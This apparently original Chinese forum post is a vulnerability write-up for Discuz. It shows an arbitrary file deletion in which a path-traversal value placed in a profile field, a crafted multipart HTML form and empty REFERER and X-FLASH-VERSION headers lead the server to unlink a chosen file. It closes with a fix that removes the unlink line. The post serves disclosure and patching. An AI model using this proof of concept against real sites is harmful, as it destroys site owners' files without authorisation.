[原创]dz前台可任意删除文件漏洞
前提条件: 在根路径下创建favicon.ico此文件进行测试

1. 登陆账号:

2. 在个人中心-设置-个人资料中将出生地址改为../../../favicon.ico



3. 构造一个post请求,并且上传图片(必须是图片)
post页面内容:
<html>
<form action="https://*/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaaaaa"method="POST" enctype="multipart/form-data">
<input type="file" name="birthprovince" id="file" />
<input type="text" name="profilesubmit"value="1"/></p>
<input type="submit" value="Submit" />
</form>
</html>


4. 函数执行逻辑
在上传时,调用home_spacecp.php,通过home_spacecp.php调用了
source/include/space/space_profile.php
函数首先对profilesubmit进行校验,

在校验时调用的是helper_form.php(不同版本中,所调用的php不同,绕过验证的条件也不同),在3.2中的校验逻辑如下图,所以构造的post包中的REFERER以及X-FLASH-VERSION两个头必须同时为空

此时space_profile.php继续向下运行,此时函数遍历取出file的属性和值,在构造post包时,我们已将$key设置为birthprovince,而$space中存储的为用户的相关信息

继续运行,发现函数获取图片信息,所以构造post包上传的文件,必须为图片,否则,无法走到unlink函数

保证上传成功后,函数会调用unlink函数,而我们将$key已经构造成birthprovince,而$space在函数一开始时就获取为用户的相关信息


所以此时的$space[$key]为我们在第2步时,所赋值为的../../../favicon.ico
调用unlink成功删除文件
5. ls查看根目录,发现favicon.ico已删除
注:设置页面的所有参数均可造成此影响,并非只有birthprovince
修复方案:将upload/source/include/spacecp/spacecp_profile.php中的@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
此行代码注释掉或删除
